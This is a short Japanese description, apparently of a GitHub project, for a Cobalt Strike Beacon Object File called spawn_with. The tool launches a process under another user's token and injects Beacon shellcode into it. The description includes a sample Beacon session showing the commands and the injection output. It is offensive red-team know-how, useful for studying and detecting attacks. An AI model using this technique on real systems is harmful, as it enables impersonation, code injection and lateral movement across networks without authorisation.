rasta-mouse/spawnwithCobalt Strike BOFであり、別ユーザーのトークンを用いてプロセスを生成し、Beaconシェルコードを注入することで、偽装によるポストエクスプロイテーションとラテラルムーブメントを可能にします。
spawnas コマンドと inject コマンドの代替を提供する実験的な Beacon Object File (BOF) です。これは新しいコマンド spawn_with [pid] [listener] を公開し、以下を実行します:
spawnto 値を取得します。CreateProcessWithTokenW で新しいプロセスを起動します。
CreateProcessAsUserW を試みます。beacon> getuid
[*] You are DESKTOP-1U6AHIU\Daniel (admin)
beacon> ps
22656 21972 wordpad.exe x64 1 DESKTOP-1U6AHIU\test_user
beacon> spawnto x64 %windir%\sysnative\notepad.exe
beacon> spawn_with 22656 tcp-local
[*] Task Beacon to run windows/beacon_bind_tcp (127.0.0.1:4444)
[+] received output:
Spawned PID 45668 and injected 297472 bytes
[+] established link to child beacon: 192.168.0.195
